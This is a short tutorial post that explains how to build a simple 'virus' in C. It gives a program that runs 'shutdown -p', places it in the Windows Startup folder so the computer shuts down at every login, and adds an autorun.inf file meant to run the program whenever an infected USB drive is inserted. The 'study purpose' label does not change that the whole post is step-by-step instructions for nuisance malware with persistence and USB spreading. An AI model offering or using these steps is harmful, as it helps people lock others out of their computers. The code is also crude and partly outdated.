Can you Create a Virus in C ?

Just for study purpose : 

1. Create a C program which will shutdown your system whenever you open your system..

# include<dos.h>

void main()

{

system("shutdown -p");

}

a. Save the above program as say shutdown.c

b. Compile the program and get the executable file shutdown.exe

c. Save it into start-up folder.. 

"C:\Users\Amit Raj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

d. Shutdown and restart the your system now..

2.  Create a USB virus, which will Shutdown your system whenever you insert your Pendrive..

a.  Write the code below in a notepad file

[autorun]

OPEN=shutdown.exe

b. Save the notpad file with the name autorun.inf

c. Copy the autorun.inf and the shutdown.exe into your pendrive

d. Your USB virus is ready..